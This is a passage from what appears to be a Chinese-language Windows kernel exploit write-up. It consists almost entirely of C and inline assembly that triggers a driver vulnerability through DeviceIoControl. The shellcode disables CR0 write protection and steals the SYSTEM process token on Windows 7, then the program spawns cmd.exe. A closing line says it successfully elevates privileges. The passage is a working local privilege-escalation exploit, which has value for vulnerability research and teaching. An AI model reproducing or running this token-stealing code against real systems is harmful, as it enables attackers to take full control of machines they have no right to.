dwFakeIoCtl,                         szInput,                         0x58,                         NULL,                         0,                         &dwReturnLength,                         NULL))    {        ShowError("DeviceIoControl", GetLastError());        goto exit;    }     // 与驱动设备进行交互，再次对函数进行调用    DeviceIoControl(hDevice,                    dwUseIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    NULL);          if (g_bIsExecute)    {        printf("Ring0 代码执行完成\n");    }     si.cb = sizeof(si);    if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),                       NULL,                       NULL,                       NULL,                       FALSE,                       CREATE_NEW_CONSOLE,                       NULL,                       NULL,                       &si,                       &pi))    {        printf("CreateProcess Error\n");        goto exit;    }     exit:    if (hDevice) NtClose(hDevice);    system("pause");     return 0;} void ShowError(PCHAR msg, DWORD ErrorCode){    printf("%s Error 0x%X\n", msg, ErrorCode);} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){    // 关闭页保护    __asm    {        cli        mov eax, cr0        and eax, ~0x10000        mov cr0, eax    }     __asm    {        // 取当前线程        mov eax, fs:[0x124]        // 取线程对应的EPROCESS        mov esi, [eax + 0x150]        mov eax, esi    searchWin7:        mov eax, [eax + 0xB8]        sub eax, 0x0B8        mov edx, [eax + 0xB4]        cmp edx, 0x4        jne searchWin7        mov eax, [eax + 0xF8]        mov [esi + 0xF8], eax    }     // 开起页保护    __asm    {        mov eax, cr0        or eax, 0x10000        mov cr0, eax        sti    }     g_bIsExecute = TRUE;}

调用完成以后，程序将成功提权：

看雪ID：1900

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